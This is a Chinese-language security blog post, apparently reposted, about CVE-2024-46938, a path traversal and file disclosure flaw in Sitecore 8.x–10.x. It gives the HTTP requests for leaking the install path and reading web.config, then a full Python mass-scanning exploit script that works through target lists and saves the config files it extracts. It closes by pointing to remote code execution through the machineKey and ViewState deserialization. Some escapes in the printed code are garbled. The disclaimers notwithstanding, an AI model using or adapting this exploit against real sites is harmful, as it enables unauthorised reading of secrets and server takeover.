由于代码中的操作顺序问题,该漏洞可被利用。此漏洞 ( CVE-2024-46938) 允许未经身份验证的攻击者从本地系统读取任意文件,包括但不限于web.config
文件和 Sitecore 的自动 zip 备份。下载这些文件后,通过利用 .NET ViewState 反序列化即可轻松实现 RCE。
什么是操作顺序错误?
参考以下代码片段:
from werkzeug.utils import secure_filename
from enterprise.utils import decrypt_str
def decrypt_value(encrypted_str):
return decrypt_str(encrypted_str)
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file_upload']
encrypted_file_path = request.form['file_path']
file_path = decrypt_value(secure_filename(encrypted_file_path))
file.save(f"/var/www/images/{file_path}")
这是操作顺序错误最基本、最经典的示例。
在上面的例子中,我们可以看到该secure_filename
操作不会阻止路径遍历,因为它发生在加密字符串上,该字符串在经过清理后再解密。过滤不会对加密字符串产生影响。
漏洞利用
必须满足一个关键先决条件:知道Sitecore 安装的绝对路径。如果不知道 Sitecore 安装的绝对路径,则无法进行路径遍历,因此无法读取文件。
通过发送以下HTTP请求,可以实现完整路径泄漏:
POST /-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a HTTP/2
Host: sitecoresc.dev.local
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
__PAGESTATE=/../../a/
响应将包含如下错误:
HTTP/2 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Bitness
Date: Fri, 15 Nov 2024 07:24:00 GMT
Content-Length: 6786
<!DOCTYPE ><html><head><title>Could not find a part of the path 'C:inetpubwwwrootsitecoresc.dev.locala.txt'.</title>
一旦知道绝对路径,就可以发送以下数据包:
GET /-/speak/v1/bundles/bundle.js?f=C:inetpubwwwrootsitecoresc.dev.localsitecoreshellclient......web.config%23.js HTTP/1.1
Host: sitecoresc.dev.local
HTTP/2 200 OK
Cache-Control: public, max-age=0
Content-Length: 59741
Content-Type: text/javascript
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Bitness
<?xml version="1.0" encoding="utf-8"?><configuration><configSections><sectionname="sitecore"type="Sitecore.Configuration.RuleBasedConfigReader, Sitecore.Kernel" /><sectionname="log4net"type="log4net.Config.Log4NetConfigurationSectionHandler, Sitecore.Logging" /><sectionname="RetryPolicyConfiguration"type="Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration.RetryPolicyConfigurationSettings, Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration, Version=6.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"requirePermission="true" /><sectionname="configBuilders"type="System.Configuration.ConfigurationBuildersSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"restartOnExternalChanges="false"requirePermission="false" />
这种通过制造异常来泄露路径的技术只存在于某些配置中。如果无法通过上述方法泄露路径,则需要猜测绝对路径
使用下面的漏洞脚本猜测绝对路径和利用:
import argparse
import requests
import tldextract
import urllib3
import re
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from typing import List, Optional
urllib3.disable_warnings()
class FileDisclosureScanner:
def __init__(self):
self.results = []
self.fixed_paths = [
r"C:\inetpub\wwwroot\sitecore\",
r"C:\inetpub\wwwroot\sitecore1\",
r"C:\inetpub\wwwroot\sxa\",
r"C:\inetpub\wwwroot\XP0.sc\",
r"C:\inetpub\wwwroot\Sitecore82\",
r"C:\inetpub\wwwroot\Sitecore81\",
r"C:\inetpub\wwwroot\Sitecore81u2\",
r"C:\inetpub\wwwroot\Sitecore7\",
r"C:\inetpub\wwwroot\Sitecore8\",
r"C:\inetpub\wwwroot\Sitecore70\",
r"C:\inetpub\wwwroot\Sitecore71\",
r"C:\inetpub\wwwroot\Sitecore72\",
r"C:\inetpub\wwwroot\Sitecore75\",
r"C:\Websites\spe.dev.local\",
r"C:\inetpub\wwwroot\SitecoreInstance\",
r"C:\inetpub\wwwroot\SitecoreSPE_8\",
r"C:\inetpub\wwwroot\SitecoreSPE_91\",
r"C:\inetpub\wwwroot\Sitecore9\",
r"C:\inetpub\wwwroot\sitecore93sc.dev.local\",
r"C:\inetpub\wwwroot\Sitecore81u3\",
r"C:\inetpub\wwwroot\sitecore9.sc\",
r"C:\inetpub\wwwroot\sitecore901xp0.sc\",
r"C:\inetpub\wwwroot\sitecore9-website\",
r"C:\inetpub\wwwroot\sitecore93.sc\",
r"C:\inetpub\wwwroot\SitecoreSite\",
r"C:\inetpub\wwwroot\sc82\",
r"C:\inetpub\wwwroot\SX93sc.dev.local\",
r"C:\inetpub\SITECORE.sc\",
r"C:\inetpub\wwwroot\"
]
def attempt_absolute_path_leak(self, base_url: str) -> Optional[str]:
"""Attempt to discover absolute path through POST request."""
path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a"
headers = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36",
"Connection": "close",
"Cache-Control": "max-age=0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = "__PAGESTATE=/../../x/x"
try:
response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 500:
match = re.search(r"Could not find a part of the path '([^']+)'", response.text)
if match:
absolute_path = match.group(1)
print(f"[+] Discovered absolute path for {base_url}: {absolute_path}")
return absolute_path
except requests.RequestException:
pass
return None
def generate_dynamic_paths(self, base_url: str) -> List[str]:
"""Generate dynamic paths based on URL components."""
extracted = tldextract.extract(base_url)
subdomain = extracted.subdomain
domain = extracted.domain
suffix = extracted.suffix
fqdn = f"{subdomain}.{domain}.{suffix}".strip(".")
return [
fr"C:\inetpub\{domain}.sc\",
fr"C:\inetpub\{fqdn}.sc\",
fr"C:\inetpub\{subdomain}.sc\",
fr"C:\inetpub\{fqdn}\",
fr"C:\inetpub\{subdomain}\",
fr"C:\inetpub\{domain}\",
fr"C:\inetpub\{domain}.sitecore\",
fr"C:\inetpub\{fqdn}.sitecore\",
fr"C:\inetpub\{subdomain}.sitecore\",
fr"C:\inetpub\{domain}.website\",
fr"C:\inetpub\{fqdn}.website\",
fr"C:\inetpub\{subdomain}.website\",
fr"C:\inetpub\{domain}.dev.local\",
fr"C:\inetpub\{fqdn}.dev.local\",
fr"C:\inetpub\{subdomain}.dev.local\",
fr"C:\inetpub\{domain}sc.dev.local\",
fr"C:\inetpub\{fqdn}sc.dev.local\",
fr"C:\inetpub\{subdomain}sc.dev.local\"
]
def send_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]:
"""Send request to check for vulnerability."""
test_path = f"{path}sitecore\shell\client\..\..\..\web.config%23.js"
payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}"
try:
response = requests.get(payload_url, verify=False, timeout=5)
if response.status_code == 200 and "<?xml version=" in response.text and "<configuration>" in response.text:
result = {
"url": base_url,
"path": path,
"content": response.text
}
self.results.append(result)
return result
except requests.RequestException:
pass
finally:
progress_bar.update(1)
return None
def process_url(self, base_url: str, progress_bar: tqdm) -> None:
"""Process a single URL."""
leaked_path = self.attempt_absolute_path_leak(base_url)
if leaked_path:
leaked_path = leaked_path.replace("x\x.txt", "")
paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url)
else:
paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url)
with ThreadPoolExecutor(max_workers=5) as executor:
futures = [executor.submit(self.send_request, base_url, path, progress_bar)
for path in paths_to_test]
for future in as_completed(futures):
future.result()
def save_results(self, output_file: str) -> None:
"""Save results to file."""
if self.results:
with open(output_file, "w") as f:
for result in self.results:
f.write(f"URL: {result['url']}n")
f.write(f"Path: {result['path']}n")
f.write(f"Extracted File:n{result['content']}nn")
def print_results(self) -> None:
"""Print all found results."""
if self.results:
print("n[+] Successfully exploited CVE-2024-46938 and obtained web.config:")
for result in self.results:
print(f"nTarget: {result['url']}")
print(f"Local Path: {result['path']}")
print("-" * 50)
def main():
parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.")
parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)")
parser.add_argument("--inputfile", help="File containing a list of URLs, one per line")
args = parser.parse_args()
urls = []
if args.baseurl:
urls.append(args.baseurl)
elif args.inputfile:
with open(args.inputfile, "r") as file:
urls = [line.strip() for line in file if line.strip()]
else:
parser.error("Either --baseurl or --inputfile must be provided")
scanner = FileDisclosureScanner()
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
output_file = f"output-{timestamp}.txt"
# Calculate total requests for progress bar
total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0])))
with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar:
with ThreadPoolExecutor(max_workers=10) as main_executor:
futures = {main_executor.submit(scanner.process_url, url, progress_bar): url
for url in urls}
for future in as_completed(futures):
future.result()
if scanner.results:
scanner.save_results(output_file)
print(f"n[+] Found {len(scanner.results)} vulnerable targets")
print(f"[+] Results saved to: {output_file}")
scanner.print_results()
else:
print("n[-] No vulnerabilities found")
if __name__ == "__main__":
main()
最终,读取machineKey的值
通过反序列化执行命令。
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
原文始发于微信公众号(柠檬赏金猎人):Sitecore 8.x - 10.x存在命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论